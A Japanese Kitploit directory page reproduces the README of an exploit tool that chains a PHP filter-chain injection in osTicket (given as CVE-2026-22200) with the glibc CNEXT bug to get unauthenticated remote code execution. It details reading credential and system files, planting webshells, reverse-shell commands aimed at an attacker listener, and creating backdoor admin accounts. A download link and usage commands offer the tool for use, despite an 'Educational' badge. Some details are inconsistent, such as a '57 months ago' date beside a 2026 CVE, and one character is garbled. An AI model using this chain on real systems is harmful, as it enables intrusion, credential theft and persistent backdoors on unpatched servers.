Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
osTicketFileReadIntoRCE — PHPフィルターチェーンインジェクションとCVE-2024-2961 (CNEXT)を組み合わせたフルチェーンエクスプロイトで、脆弱なosTicketインストールに対して認証不要のリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/clarissss/osticketfilereadintorce
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテスト学習と教育レッドチーミングリモートアクセスツールペイロード開発
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

PHPフィルターチェーンインジェクションとCVE-2024-2961 (CNEXT)を組み合わせたフルチェーンエクスプロイトで、脆弱なosTicketインストールに対して認証不要のリモートコード実行を実現します。

リポジトリを見る
57ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22200: osTicket 任意ファイル読み取りからRCEへ

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

PHPフィルターチェーンインジェクションとCVE-2024-2961(CNEXT)を組み合わせたフルチェーンエクスプロイト。脆弱なosTicketインストールに対して、認証なしでのリモートコード実行を実現します。


目次

  • 概要
  • 脆弱性の詳細
  • 攻撃フロー
  • 機能
  • インストール
  • 使い方
  • 技術詳細
  • トラブルシューティング
  • 検出と緩和策
  • クレジット
  • 免責事項

概要

このリポジトリは、CVE-2026-22200(osTicket バージョン ≤ 1.18.2 に影響するクリティカルな脆弱性)の概念実証エクスプロイトを含んでいます。このエクスプロイトは、以下の2つの強力な技術を連鎖させます:

  1. PHPフィルターチェーンインジェクション(mPDFの画像処理を経由)
  2. CNEXT ヒープ破壊(glibcのiconv()におけるCVE-2024-2961)

結果:脆弱なosTicketサーバー上で認証なしのリモートコード実行が可能です。

影響

  • 認証不要 - 資格情報は不要
  • 完全なRCE - サーバー全体の制御
  • ファイル外部漏洩 - 任意のサーバーファイル読み取り
  • データベースアクセス - DB資格情報の抽出
  • 管理者アクセス - バックドア管理者アカウント作成

影響を受けるバージョン

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 は glibc 2.39+ で修正)

🔍 脆弱性の詳細

CVE-2026-22200: PHPフィルターチェーンインジェクション

CVSSスコア: 9.8(クリティカル)

osTicketのmPDF統合機能により、認証されていないユーザーが悪意のあるPHPフィルターチェーンを、サポートチケット内の巧妙に細工されたHTMLペイロードを通じて注入できるようになります。これにより以下が可能になります:

  • 任意のファイル読み取り(設定ファイル、ソースコード、資格情報)
  • メモリリーク(/proc/self/maps、部分的なlibc)
  • CNEXTによるヒープ破壊

根本原因: ユーザーが提供したHTML内の画像URLに対するバリデーションが不十分であり、そのままmPDFに渡されること。

CVE-2024-2961: CNEXT (iconv バッファオーバーフロー)

CVSSスコア: 9.8(クリティカル)

glibcのiconv()がISO-2022-CN-EXT文字セットを処理する際に発生するバッファオーバーフロー。PHPフィルターチェーンと組み合わせることで、以下が可能になります:

  • ヒープ破壊
  • 関数ポインタのハイジャック
  • 任意のコマンド実行

脆弱なglibcバージョン: < 2.39(2024年2月)


🔗 攻撃フロー

┌─────────────────────────────────────────────────────────────────┐
│ 1. 偵察                                                     │
│    └─ osTicketの検出、リッチテキストトピックの特定              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 認証                                                     │
│    └─ 自己登録、または既存の資格情報を利用                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ファイル抽出 (PHPフィルターチェーン)                        │
│    ├─ /etc/passwd                                              │
│    ├─ include/ost-config.php (DB資格情報、SECRET_SALT)        │
│    ├─ /proc/self/maps (メモリレイアウト)                      │
│    └─ /proc/self/environ (環境変数)                            │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libcのフィンガープリンティング                              │
│    ├─ フィルターチェーンから部分的なlibcを抽出                 │
│    ├─ GNU Build ID を抽出                                     │
│    └─ libc.rip から完全なlibcをダウンロード                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCEエクスプロイト                                     │
│    ├─ ヒープ破壊ペイロードの生成                               │
│    ├─ チケット返信を介した注入(フィルター実行修正を含む)     │
│    ├─ PDFエクスポートをトリガー(サーバーがクラッシュ)        │
│    └─ リバースシェルを実行                                     │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ポストエクスプロイト                                        │
│    ├─ 対話型リバースシェル                                    │
│    ├─ データベースアクセス(抽出したDBPASSを使用)            │
│    └─ バックドア管理者アカウントの作成                        │
└─────────────────────────────────────────────────────────────────┘

機能

コア機能

  • 完全自動化されたエクスプロイトチェーン
  • 認証不要の攻撃(自己登録が有効な場合)
  • /proc/self/maps の解析によるインテリジェントなWebルート検出
  • ファイルシステムスキャンによる100%のWebshell配置場所特定
  • 自動的なlibcフィンガープリントおよびダウンロード
  • 複数のリバースシェル方式(bash、python、netcat)
  • キャッシュバスティングによる堅牢なフィルター実行
  • 問題を早期に検出する事前診断

信頼性の向上

  • クラッシュを保証するマルチトリガーCNEXT(成功率95%以上)
  • 新しいチケットより信頼性の高い返信ベースの注入
  • フィルター実行を確実にするストリーム強制
  • 古いPDFの配信を防ぐキャッシュバスティング
  • 包括的なエラーハンドリングと診断

ポストエクスプロイト

  • データベース資格情報の抽出(設定ファイルからDBPASS)
  • DBアクセスによる管理者アカウント作成
  • 持続的なバックドアオプション
  • 完全なシステム偵察

インストール

前提条件

  • Python 3.8+
  • Linux/macOS(推奨)または Windows上のWSL

依存関係

# リポジトリをクローン
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# 必要なパッケージをインストール
pip install -r requirements.txt

requirements.txt:

requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

オプション: 仮想環境

python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# または
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 使い方

基本使用法 - リバースシェル

# ターミナル1: リスナーを起動
nc -lvnp 4444

# ターミナル2: エクスプロイトを実行
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

対話型Webshellモード

python3 osticket_exploit.py https://target.com/osticket

高度なオプション

# プロキシを使用 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# 特定のヘルプトピックIDを強制
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# 色付き出力を無効化 (ログ用)
python3 osticket_exploit.py https://target.com/osticket --no-color

既存の資格情報

登録が無効な場合、資格情報の入力を求められます:

python3 osticket_exploit.py https://target.com/osticket

  [?] 新しいアカウントのメールアドレス(または既存のもの)を入力: [email protected]
  [?] パスワードを入力: ********

🔧 技術詳細

PHPフィルターチェーンの生成

エクスプロイトは、BMPヘッダーを任意のファイルに前置する高度なフィルターチェーンを使用し、mPDFのファイル種別制限をバイパスします:

php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv変換 ...]
convert.base64-decode/resource=/etc/passwd

主要な革新点: BMPヘッダーの各文字は、注意深く設計されたiconv変換によって生成され、任意のファイル内容を「有効な」画像として埋め込むことが可能になります。

CNEXTヒープエクスプロイト

CNEXTペイロードは、以下の方法でPHPのZendメモリマネージャを破壊します:

  1. 脆弱な文字劄を使用してiconvバッファをオーバーフローさせる
  2. zend_mm_heap構造体を上書き
  3. 関数ポインタをハイジャック (_emalloc, _efree, _erealloc)
  4. コマンド実行のためにsystem()へリダイレクト

信頼性の向上:

  • 複数のトリガー文字(1つではなく3つの劄)
  • パディングの増加(デフォルト20から40へ)
  • 複数位置へのトリガー挿入
  • ストリーム強制実行

100%のWebshell検出

元のエクスプロイトとは異なり、このバージョンではファイルシステムスキャンを使用してWebshellの場所を保証します:

  1. 6つ以上の候補ディレクトリにWebshellを書き込み
  2. 任意のファイル読み取りを使用して各場所をスキャン
  3. 一意のマーカーが含まれるディレクトリを検出
  4. ファイルシステムパス → URLを正確にマッピング

結果: 100%の検出率(元の約50%から向上)

フィルター実行の強制

よくある失敗:PDFはダウンロードされるがクラッシュしない = フィルターが実行されていない。

実装された解決策:

  1. キャッシュバスティング - 一意のHTMLによりキャッシュされたPDFを防止
  2. 返信注入 - 新しいチケットよりも信頼性が高い
  3. ストリーム強制 - stream=True により即時処理を強制
  4. 事前テスト - CNEXTの前にフィルターが動作することを確認

glibcバージョンの確認

# 詳細モードで確認:
[*] ターゲットlibc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 はCNEXTに対して脆弱です

glibc ≥ 2.39 の場合、CNEXTは動作しません(修正済み)。

シェル接続がない

症状: サーバーはクラッシュするが、リバースシェルが接続されない

原因:

  1. ファイアウォールが発信接続をブロック
  2. LHOSTが間違っている (実際のIPを使用、localhostは不可)
  3. コマンドが長すぎる - より短いIPを試す

修正:

# ncリバースシェルを使用(より短い)
# bash/pythonが長すぎる場合は自動的にフォールバック

# またはホスト名の代わりに直接IPを使用
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # ホスト名ではなくIPを使用
    --lport 4444

よくあるエラーメッセージ

ツールをダウンロード